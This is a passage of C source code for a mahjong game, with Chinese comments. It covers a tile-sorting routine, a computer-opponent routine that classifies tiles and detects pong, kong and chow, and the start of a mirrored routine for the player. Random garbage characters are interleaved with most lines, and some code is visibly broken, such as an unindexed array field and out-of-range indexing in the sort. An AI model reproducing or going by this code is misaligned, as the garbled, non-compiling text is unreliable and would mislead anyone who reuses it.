. [9 h) Y2 F7 a" t% ucomputer.pp[j+1].number=u;9 K5 O4 c/ v3 K6 s! J
}
" b  N& W6 L9 {( i, ]& P. b}
% [& h0 Q' t; q$ F$ ^# ~- ]' ]}" N  F* x' R0 ^' k% _% x6 `
void melipai()
- L6 `$ T+ N5 h  s7 }  j{ int n,j,u;# P% u7 T& E; G! q6 |
int *lingshi;
, J% o2 d3 W8 l8 P5 A* K: |6 sfor(n=0;n&lt;me.m;n++)
$ u' ], l5 L) ^' n) T6 `! J7 Vfor(j=n;j&lt;me.m;j++)
! ]- y; l: D- ?, b2 ]{: ~/ W, v! W+ j3 t; e9 L! j" G& i
if(me.pp[n].number&gt;me.pp[j+1].number)
9 R1 {/ ]+ n* G; O( \2 [) O{
+ }! N( L$ F0 G) _2 b, Elingshi=me.pp[n].k;, e5 l: C; ]: b# f+ q5 u
me.pp[n].k=me.pp[j+1].k;
) O1 I1 ]. m( b) Y! p, m4 P6 m. v0 o* ?me.pp[j+1].k=lingshi;
) [( @" N3 [! y! _9 iu=me.pp[n].oneorfour;
3 g8 L6 `0 K0 O% B  _me.pp[n].oneorfour=me.pp[j+1].oneorfour;+ M5 ?7 ]+ U9 _
me.pp[j+1].oneorfour=u;! U" g& O1 ]9 J6 J* p( c
u=me.pp[n].number;6 X) w+ P4 e4 N1 Y) X8 l5 b" E$ a8 u
me.pp[n].number=me.pp[j+1].number;
- H# i3 Q( F) l$ {! C2 G, Q6 `9 T; ime.pp[j+1].number=u;$ L7 }9 o1 e" \: ^) f
}
* S7 J9 }3 w( n" Y! i) Q% z' felse( m; B7 h& y& c* k5 S
if(me.pp[n].number==me.pp[j+1].number)& K6 A  ~$ W# e6 \: R
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)" j" R) F; T) r
{+ s% |4 F- [7 [* Z
lingshi=me.pp[n].k;
( b4 D6 h1 k) i: G3 fme.pp[n].k=me.pp[j+1].k;( B* [4 i% w/ S( R9 A( P% m2 @& p
me.pp[j+1].k=lingshi;
) s" x+ a' ]- xu=me.pp[n].oneorfour;
% F( [8 a' \; v1 ~5 c9 ]0 [me.pp[n].oneorfour=me.pp[j+1].oneorfour;
! I/ B6 C( i6 j3 o! Zme.pp[j+1].oneorfour=u;8 L, ~& W0 D" Y" S
u=me.pp[n].number;
# r  R4 s, G5 N7 J( M) r" c# {/ Nme.pp[n].number=me.pp[j+1].number;
& q, Z  g& u7 i2 w% G. ]me.pp[j+1].number=u;
8 u, @6 N  Q# ~4 i& ~+ U) o}
/ `! P& y5 R2 ~% }) Q/ G}
" S8 G  U* k" C: v% Y0 u; A0 R- e}2 w3 Z( i% u( i" ^. m, @
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
+ P: j) [3 C3 d! C( S& i  w3 B{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
  ~, I' u" n/ y6 p2 V8 t! [if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)% h2 O+ L5 A: ^5 ]
{
2 k0 s+ k4 ]# ?8 B8 H+ R  r9 C. n( llogo=1;
$ E( `1 _, N/ h; O1 }8 t! eif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
! C- B: q/ M. |3 elogoo=1;
* Y' z5 L5 [! o' F% e' D7 |else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
/ [# c: E" A! b3 i' L; Rlogoo=2;) a' i; {4 \: @
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)5 `4 Z' }% q, p3 F
logoo=3;
9 F* I  d* K, g, p7 D4 @) xelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
4 Y$ q4 p; z, ologoo=4;2 z2 J4 E( f# D4 x3 ^+ T0 p
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
' H! p3 ?2 \9 k* O$ m0 B5 Qlogoo=5;
$ K( m+ c* z7 p8 A  o6 y7 ?& \else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)- C% d" f9 n+ z: K$ b
logoo=6;
# Z( P9 V$ a9 gelse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
  _, ]8 X4 F; C5 Wlogoo=7;
; `. O: x0 }- |+ k3 Pelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28), Q5 ~% \6 B0 y; y+ b  m9 f/ f& s
logoo=8;; X' E" P0 n/ Y
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32); V! s% o; S: X
logoo=9;
4 f( {5 W: {5 w2 P2 x}
2 T# k% p* X4 x* N8 jelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36): \# x0 p1 w" B# |- D# Z) ^
{# C  u4 {8 I: r, I
logo=2;; P, v  t% ?' q
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)6 D, P  G5 e) z: Z. p6 q1 V5 e  L
logoo=1;
& \" ~! O! N1 M/ @% Helse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)  D4 n% ~! f9 c6 w  {. }
logoo=2;9 n. j( j0 r: P  T" O; I1 R- ]+ V
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)& e8 C- x- @% j8 h1 Y' e
logoo=3;; `3 a& R' C9 u: e5 }& @
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
$ n8 K9 @2 `9 \) x: d6 L" I! \2 h) N9 Tlogoo=4;/ C. t- e* U: A: x% u6 x9 V
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
; [* U9 C- q/ [logoo=5;( C: q4 A0 p) B
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)+ J0 M4 f$ L. M, b( B! v* s
logoo=6;
' ]- _9 w2 M7 q! yelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60): i/ A1 N6 I) E- S# O0 A
logoo=7;- o, e- X/ Q3 T9 h3 X8 P1 B
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
0 t/ e: Z% t3 h/ Alogoo=8;
: B5 ^- W4 M/ I" ~9 i2 Xelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)5 M7 ~9 J0 |1 {/ R* b, D5 d
logoo=9;
, I7 ^4 Z9 H5 {. R! i2 V, g}
$ E3 o% ~' U. P% S: qelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
8 v; ]& a6 W/ T$ Q{+ N4 R7 e0 ]* ?' ?7 h
logo=3;* f/ c; f+ R" @
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
- X5 [6 G  X( `, flogoo=1;
8 @6 o. H( B+ O( Helse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
) p! e5 M1 t( ~% O: Vlogoo=2;0 Q" M  J$ {* J/ w: A: b
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)9 @, g4 b2 {, N7 Z3 |$ K
logoo=3;+ x; ?8 E9 a+ z5 S. z; i
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)! j" z0 t( r/ W- P6 e
logoo=4;
& N2 B8 {, U# c9 t7 t) N; G* m( H$ Celse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
0 b" Z4 R3 o' t3 ~, J- Y4 B( clogoo=5;' I7 N0 b, w  h7 R+ A% E
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)7 \) u# M1 U5 V! r. d
logoo=6;
/ h' X; A; O+ l5 J+ xelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
5 R* O$ r- k# {5 _) o8 flogoo=7;
% a% Y- Q$ P/ P# G# t! W7 t" Telse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
$ f* s. _( V' N8 \/ dlogoo=8;
/ E% e( c$ K8 v) Z- d8 t  D  Nelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
, F- K) A9 ^1 \  xlogoo=9;! t" T+ C4 |8 o
}  W- m3 t* ?/ q" |
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
3 x' ^6 G2 v+ [- w{, U, _& T8 A  r$ Y$ l, y$ |
logo=4;
$ R5 V1 L$ o4 Q" o! ?( P+ Xif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)! ]  C* l) }& G2 ]% c
logoo=1;& Y* P5 K% B8 ?; ^/ H+ w! o) z
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)5 f: q7 c+ J  A5 |6 s% r1 w4 N
logoo=2;
& t+ D, U+ P: Relse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
7 ^+ ^1 a- @6 s1 Z; L" ?2 L/ a9 m# Xlogoo=3;3 H* Z$ O, Z2 w* _, T
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
, W" d  O# f5 j( b9 h" Zlogoo=4;' b9 r" _* N+ T9 h2 a4 c. Q
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124). i: F5 u1 h+ A
logoo=5;
" A2 ?3 d# r/ Y! T5 @else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)" q8 N$ O; A! x& f. V
logoo=6;
3 F; ^4 ^. N# X! helse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)3 l! N8 s+ K! q3 ~; L/ |% ?; B5 w
logoo=7;* }6 d1 n. q8 S8 ~$ t, O& |& F
}
( S. w& C- u8 Y2 f6 kwhile(b&lt;=computer.m)6 {# T# ]* J  O, _' m, [' e
{
0 h# u8 \1 h& y  hif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
3 b! X4 R0 C$ R7 t0 ]4 l" A; e{
/ q# x0 g; U2 l1 J5 F! wlg=1;
8 l. q9 z% ?: A2 T" acomputer.pp.d[0]=1;
2 d0 d; G- B/ V7 g: Jif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
! ~+ G; N9 R$ ]& L9 S; X5 G- I{
$ O5 P  Z& Y. P) J1 u9 V6 jlgg=1;
+ l7 p. q- K+ o9 W( ?- n2 Wcomputer.pp.d[1]=1;
, `! R& b0 Y, m2 ]9 Q}
! }% G1 m0 t; v1 [; }# v( a. zelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
6 y3 `. v% E' |4 n$ c. B{
% M. A) ?* O7 b1 q, V# a$ o( J; }lgg=2;
8 N3 I4 u1 L( w" C+ N8 ^  r$ B# tcomputer.pp.d[1]=2;
$ |, }$ t" ?: K' w5 Z/ F}9 u' q( B- |) Y* ], U. }
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
1 E2 p  N' T8 V; e1 k{
% L/ D- z% u/ |2 z, r1 Z- \7 V  Wlgg=3;
) X0 R. r5 ]9 O" y0 tcomputer.pp.d[1]=3;1 B6 N8 u% s$ i, V4 Y
}0 j1 @2 s' q" ^) M# l
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
3 ~. i. g- t8 J3 x4 X# l9 l{
3 j- |% V( G, Y7 r$ V8 M* ]2 ulgg=4;/ l2 U& F. U6 a4 @# @7 H
computer.pp.d[1]=4;
( K5 W  t) [5 r+ B1 B; k5 M}
/ `+ E& R1 o5 N, C3 ?7 x$ celse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
9 m; ]3 ^5 Z: x9 V; v0 |: l5 Z{
) E1 r4 D. M& P2 q. t) ulgg=5;
1 B: c; W4 c3 X1 \computer.pp.d[1]=5;. n0 v1 {; `( r: b- i) `
}9 L* ?" n; k1 b/ c! ?
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
( o$ o2 K8 {7 R# k. g1 s6 j{, H. M. g; J- H
lgg=6;# L$ S& I, b% A  K
computer.pp.d[1]=6;8 c4 D! j2 w( g1 T9 s) @( _
}
4 g+ ]* a4 L/ p/ selse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
% G* S$ ?& A& K/ g5 p0 ^{
. m  @0 F) E/ ^# \% C$ D7 K- Qlgg=7;
7 q/ X7 Q4 T; H( `/ Y1 j$ k/ D' Dcomputer.pp.d[1]=7;
- Y3 |# B( i# \6 s! a, G}" d8 m0 {' s6 Z4 s
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 R2 @: H. h$ L{
' C6 A+ M: m2 x; l3 a& A/ F$ Rlgg=8;7 p5 Y4 z- v1 K$ R0 o9 G
computer.pp.d[1]=8;0 ~0 H1 S  {; T2 @: D6 d5 Z
}5 k  X# \: f% j8 l
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
% S* m  y5 g+ ~1 h# c* Y{& s2 e  r1 R7 U# Y, I
lgg=9;
- Z8 d7 Q9 L4 v; Mcomputer.pp.d[1]=9;
5 D" l4 G; ~# h& J}
# m5 n5 w, ]3 ~7 w& a}) D% D; P/ h, z/ t' w, \- u" C
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
0 Z8 g0 [! i- n. q5 ?) [, {{3 @6 r1 i' b9 g# K
lg=2;& ^2 M4 d4 P; `' w; }: w0 w$ ~4 p
computer.pp.d[0]=2;
9 v/ m9 k0 Y# Y& `" b2 f# ~if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
: g0 s5 h  _! K5 a( g{) n0 f6 \1 Q' a/ L. B- {
lgg=1;: M8 ~# T  s" Z% x* U
computer.pp.d[1]=1;( }3 `, w- A- g
}
% D& K4 P! ^; k' H6 S: c0 ielse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)6 }. g7 r6 ?8 p% F8 u& g; R- j2 b
{
1 ~& H2 l1 h! u+ @lgg=2;
0 n( T8 t' t9 f6 ?computer.pp.d[1]=2;  C3 Y) w# G- d) q9 d3 [
}  M0 t. V/ g+ v& ]) f3 y( C2 s! s6 q
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)! j" x! n2 K6 `' Q9 ?
{
; r; l- F$ N$ Z4 ?- h4 u0 Vlgg=3;
( s6 r3 I  v2 X3 o7 c. I, Dcomputer.pp.d[1]=3;- I! z! q+ F+ W* q
}
2 @, H! q* r9 h/ i* M1 z% V5 gelse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
" ?: X5 O# L# i" M{
' |3 \( q. d' Rlgg=4;/ X; r7 k0 z  v$ M# S% x
computer.pp.d[1]=4;
6 `* X9 q( {9 N6 P+ p& k$ t}% ]7 I0 g- K; [2 I: _" E; X/ Z
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52), G& F& g. k/ u0 m% i. u* W
{: Y: [+ N4 k, }6 j
lgg=5;8 ?8 ~  o2 C5 X
computer.pp.d[1]=5;, O4 Y+ ]% w, x9 z
}# I, w* y! p% Y5 Q0 l
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)* `1 X" i0 s/ u
{
3 O7 P9 P; {" t  @% f! V1 p- Zlgg=6;, R/ N$ L3 a  p4 ~! d
computer.pp.d[1]=6;/ o4 j% I  q- C# a/ r
}
( ~& U7 ^* l, e+ ielse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)7 c# g5 l0 _( b# n3 @. j
{
1 v# v7 Q2 ?0 z1 W, slgg=7;
# F4 l0 f) h8 A9 b+ b/ Pcomputer.pp.d[1]=7;. }6 j6 R; a- A1 I# S5 z" f
}
) r' T: G. x5 T4 e" Aelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)( r+ }4 B+ Y0 g. q( V. t
{
1 g3 q. s/ ~% T6 nlgg=8;
( @7 D2 n+ C- W7 C0 Z) jcomputer.pp.d[1]=8;3 D  c7 r; B4 p# e% d- M* Q6 j. b
}
2 \2 w" b4 J3 D' I4 N  c! H+ nelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)+ |& f) A5 t& P, k) e% S
{
+ W9 ?# A5 q( r$ mlgg=9;
; @, i$ b: B3 I! r/ P$ Scomputer.pp.d[1]=9;5 _6 q% }6 X( A* a8 Q. I
}
; `' p% J- H6 P) f2 L8 t}
6 S: t# O) Z8 ?+ r" v6 oelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
+ L. m; u% {/ Y. ?8 V2 w6 ]1 @{( s8 h* w: I6 ]) V3 V# C
lg=3;0 \2 s  d$ f4 w5 {
computer.pp.d[0]=3;
4 z5 j3 l# U" Q+ B+ _( rif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)0 [. A9 D2 @* E  |" J' \0 B
{* V! C0 Z$ u6 n' H; b. U5 A
lgg=1;  W- L$ V" O; U5 {, N6 K
computer.pp.d[1]=1;/ M( P3 f( ~' ^6 k; J
}  ~: @  a& H3 O  {/ q
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
6 J! ^* b5 K+ ?* r* s{
. Z# T4 h8 H7 Jlgg=2;/ f. L# R6 {6 \1 D4 u' D
computer.pp.d[1]=2;
) `" [% b! a* |; n; o1 q}: l4 U. j2 S% r- |" W& g
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
4 F9 ^3 r, P) s{  b+ g4 Y0 ^; R8 O
lgg=3;3 S7 Y# [+ {- u+ v3 e
computer.pp.d[1]=3;
# a6 O# q9 A' e/ {$ ?& }}
3 ^9 p7 q" S% Y- P) x9 celse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)3 t5 P9 h0 L" s+ b' j
{
% w  I* z4 O/ M, p; l2 B+ S9 X4 E! R; Ylgg=4;
6 q  H) [9 X3 Y( J1 r$ Zcomputer.pp.d[1]=4;
3 X- K, F/ f1 z  P2 l}8 Z% P0 B* G- g. N: t
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
" ]5 h7 s, E+ m% k, o{5 f* \* G5 A7 ?1 l- s
lgg=5;5 K% c; Y3 h4 o7 \& _% B. s
computer.pp.d[1]=5;
% \9 s7 B4 d6 W( f  u9 n}
& @* ?, s9 x. r- j3 Belse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
; r& t  S' T1 B) g* B. U{
9 `% P+ Z0 K2 r, n$ U2 v# N2 P. blgg=6;
4 `& R+ e1 A0 W8 m  e& g* fcomputer.pp.d[1]=6;
0 i5 E( t: ]4 \4 v4 M8 r}& j1 i+ u/ m# r
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
& n5 c0 ^# O0 U4 P) w3 c" W{5 X. C2 {; @: |# z7 V) ^
lgg=7;
# E, @, v) f3 H% H" y7 W5 M( Mcomputer.pp.d[1]=7;
( Y" S5 H$ v- M# H}' D! I  q2 c7 Z/ t4 E1 }
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
+ o- T0 J$ H/ c" J% w+ U* U{
% D# J5 g1 S+ U9 v& _# glgg=8;
, j( t+ O7 `0 L( ?* ^( I3 n/ jcomputer.pp.d[1]=8;3 ~# K& @$ z, T% z0 L" g6 q
}# B# v6 k7 q/ A- ~
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
5 j, N" ~7 r- M{
- T3 M' c+ k7 R0 glgg=9;; l4 L9 i% W$ Q0 z+ f
computer.pp.d[1]=9;
' A* l1 s( ^: v$ A/ w1 S5 v1 e- G}9 s( W  o3 E8 \
}
0 W, H- c  S& w3 R& T  qelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)( G9 }* F0 v, Y( A" E# c! |
{8 E7 X' r7 b9 f
lg=4;* ]% q, S+ k6 |5 Y6 D
computer.pp.d[0]=4;3 Z( W& \( R" A4 ^
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)- A- G- ?% U* G6 a; y5 j. C: q( j2 B5 h
{8 A; O! }$ ^% H1 _7 `
lgg=1;; H3 Z- p: Q( o( ~' [. x
computer.pp.d[1]=1;; [- B4 [/ @8 m+ [4 p5 f9 \  I
}
3 p% H5 e5 E  E/ k" l  Zelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)" |1 E: B  ?# {, Y4 k1 o/ a! r
{7 a5 E- ]' q. _& u' d/ |
lgg=2;: j7 X- f8 X6 M. h) g
computer.pp.d[1]=2;5 G; A; w8 J# Q; s+ Y+ z8 B
}
9 R0 x# ~' D$ i; v& telse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
. _" @. B) Y& J8 `{3 b! w' @% b. ]+ H
lgg=3;
7 A" f4 S* C5 E+ x8 V9 g6 ycomputer.pp.d[1]=3;- [8 c: S% D# Q; w$ Q
}- V( W  Y5 j/ W7 x( h
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
" _6 c; x% I5 v1 h: B) W{; E9 T6 T4 ]; w% _
lgg=4;% H' Y6 L1 Q$ L: ^/ P
computer.pp.d[1]=4;# n+ z3 }2 D3 ]/ A2 `% D: U# K& T) Q
}  N; W+ [) X: d7 s) `- {
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)) A8 A; Q3 r- I
{
5 b5 V' s/ j/ y% W- slgg=5;
" a8 E6 S% v4 H- M- jcomputer.pp.d[1]=5;
9 r5 h5 i( |" D4 s9 c}, T5 n' K9 v& \3 Z' K7 y/ h8 A; q
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
  O8 e! u* X3 ]) c{4 T* t- f; w: ^, ^% l
lgg=6;
0 f# `% J  [  L0 V1 fcomputer.pp.d[1]=6;8 j4 |' H! _. N& p
}
* w5 B- o7 A% v: Z4 U% celse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)9 M2 y0 a; a3 Q! m$ l% J/ ~
{
& r' m5 Y9 U! D3 a' K$ X+ Q) A( Qlgg=7;
, T/ M! r8 @8 H+ ]computer.pp.d[1]=7;- Q+ ~9 m8 I6 y+ x* ?& Y2 g/ b
}2 K4 p/ }  f; X- D. H& g
}
6 X. N# `( V9 Y- Y- Y$ a+ `: n, |; N6 U& O
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
8 `& Z, }: J- ]7 {, H  g/ mif(logoo==lgg)
3 g4 M$ x$ k4 a9 o- E' b4 J; k% h# Fpg++;
4 X) n+ n9 @7 ech.lg=lg; /*保存电脑手里的每张牌的信息*/
( q/ y9 X& e4 B8 wch.lgg=lgg;
& t& I; R) w' \8 f* }- Jlg=0;
+ c: n* ~' a+ ~, |$ x/ f# x/ V5 r) vlgg=0;+ V0 u( s8 q% D( N/ B/ W" s
b++;
* `6 |- ?- D5 w+ o( s; [}( T% u) [( ~# O0 A6 D1 j' Z
if(pg==2) /*乓*/
7 A7 J% D3 W! y{/ J# C" O( m- }: a
$ k" B  d# _7 Q1 o6 Y2 C
sing=1;6 L2 [- |) m1 M3 e$ ~
b=computer.m;
- A8 e6 A4 y* b, A! R6 u! V$ }while(b!=-1)$ v$ V6 j- G8 F: l1 k
{
5 u( o2 g1 z# v9 {if(strcmp(me.pp[c].k,computer.pp.k)==0)8 l% B3 ?' u8 Y& ?5 }
computer.pp.p=1;1 S, P. `  e$ t/ ^3 p7 U- E5 R) s

' b2 M+ ~# ^/ `, c7 |$ ~b--;7 k1 ~2 O/ k; ]8 l* c$ o0 W8 M* h' F
}' o: |# ^8 I9 ^$ ?
}
" z" I9 G5 P) w- ?6 V, rif(pg==3) /*杠*/
0 \' r% }# p3 j% S4 ?) s/ R& o: r{
& ]8 w8 d8 S$ N3 t
7 {  _/ ]: e% w, a2 i9 b3 [. ]sing=2;1 X* l: _5 q  P% T
b=computer.m;
$ v  [% Y0 d' k/ q' Fwhile(b!=-1)
, w4 ?7 [  c( c& ]) V" d{0 Z6 ?2 {, e. H; h6 c; u
if(strcmp(me.pp[c].k,computer.pp.k)==0)' u- Y. `6 ~( o8 e  e2 S. H0 W' t) r
computer.pp.g=1;
7 k) I/ u" _/ {3 D' M: q; Xb--;
2 Q; b- F6 x+ F8 \/ J0 Y}
2 n7 K$ O) h; \}
" I+ g8 L( t8 k6 l5 A% Of=0;
4 U5 z# h9 @% [7 B1 v( Qwhile(f&lt;computer.m) /*吃的判断*/
( _8 b" \! v  f/ R# l- w8 S1 O0 @{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)6 @$ V: k& ~0 P+ ?* I
{
3 s- N* g0 u4 n4 B* x% qif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
  z5 _; |) l' g' M) j9 k0 ?. oif(ch[f].lgg-logoo==1)
6 @) c, \" D! \2 K' \{' y2 C7 ]* l! }
gp++;
6 W* y; M7 d4 u! I) H$ `6 Fcomputer.pp[f].c=1;
, I2 k6 v8 ]  jcomputer.pp[f+1].c=1;* n' ?$ j6 Q5 U+ O1 ]
}
, v2 c& H, A0 h& j/ i- }/ bif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/8 T5 U7 g& p# b& H
if(ch[f+1].lgg-logoo==-1)
5 T. t4 q. j2 s# Y* h{9 i4 `* U. v$ g8 Q+ @
gp++;4 I) `4 r& Y  M; X
computer.pp[f].c=1;3 P; m- {1 n2 ]
computer.pp[f+1].c=1;# [5 I$ ]# E9 z
}& J& d7 W! j7 @- N2 |# I. M
if(ch[f].lgg-logoo==-1) /*中吃*/
# g1 w* f  @9 ~7 Y9 s9 yif(ch[f+1].lgg-logoo==1)" z; Q& C! G7 f- Q
{9 A) Z8 t/ }+ V5 I! {( P; H' Z5 ]
gp++;
+ c( d0 W. |$ ?5 A# [  ?computer.pp[f].c=1;! @: ?1 B( x" b9 C3 }; Y" m
computer.pp[f+1].c=1;
8 `5 A" b  h: n1 F2 Y9 c1 l" x}# X; {4 h- x, o6 Q2 P9 x4 X. N
if(gp==1)
% t! u0 l5 m/ A3 i+ {break;
) F3 q# J- h$ L: c7 Z2 T: j}
8 L+ l6 H, C2 v3 B1 ]f++;! e9 ]* @9 r8 f; A, I) N  {
}# ?. Y+ @+ A& M0 i
if(gp==1)8 \# H! A7 F- f/ ?8 L, j
{sing=7;: A% L$ c/ D4 ?) P5 w9 M
2 v9 d" x' m/ p/ f  ?
}
9 F4 y# }1 P# bpg=0;( v0 `- e2 u/ L3 K7 i$ Z
gp=0;
  R: }- W; Q8 @  u8 |& [b=0;8 K' w! U8 d3 G6 x: c( C2 j2 o
}# u# G' b( m! u& j- |
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
0 V! O& B$ S2 |{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
, e* ^. T, h, N% Y0 Eif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)7 m, z2 H4 K0 h4 s
{
; k; @/ s/ x) r0 r  _5 u1 ^  |logo=1;: M; V) T1 ]6 T6 d: A; ^9 N. Y
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)( Q$ A; D7 k  V) Z; Q: B. l2 l8 j! r0 G
logoo=1;8 q2 i- @/ |6 @( e! J1 m1 C8 ^% X6 R
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
( r7 T! e4 l6 j2 Ulogoo=2;) F, v2 Z) B$ Z# R: S$ @
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
$ N: e$ _; G/ D# o+ Q* mlogoo=3;* P* U/ Q6 f; ^
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
/ \' s/ P5 P" W& Jlogoo=4;" m, F- s* C: A) k0 r
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
; D, N! Z. h2 {* ?& F) llogoo=5;: {5 Y0 T" Z: B; v: w- t4 {
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)/ E0 {) C, B- g% J; @4 ^, w
logoo=6;0 i) \  D; j7 a5 l  q
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)4 f2 A& E- `  m4 l( I/ |
logoo=7;
# U% r1 p3 n- Q6 \) Nelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
9 H' K1 Y+ S% L1 Alogoo=8;
  ]8 ]2 |3 O% y% ~/ b! J- j/ Lelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)2 J& G1 A6 K+ I
logoo=9;
# l* O. d3 |1 N' b! k0 Z}
/ d& |, V$ a* s, M3 relse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
6 I8 ^( P  H; S{
% y6 R9 x0 A, I8 l- nlogo=2;
7 G9 [  `3 l' [# Q/ Dif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)8 |8 c. g# V) j3 [
logoo=1;% i1 F) F; l7 u3 A, i
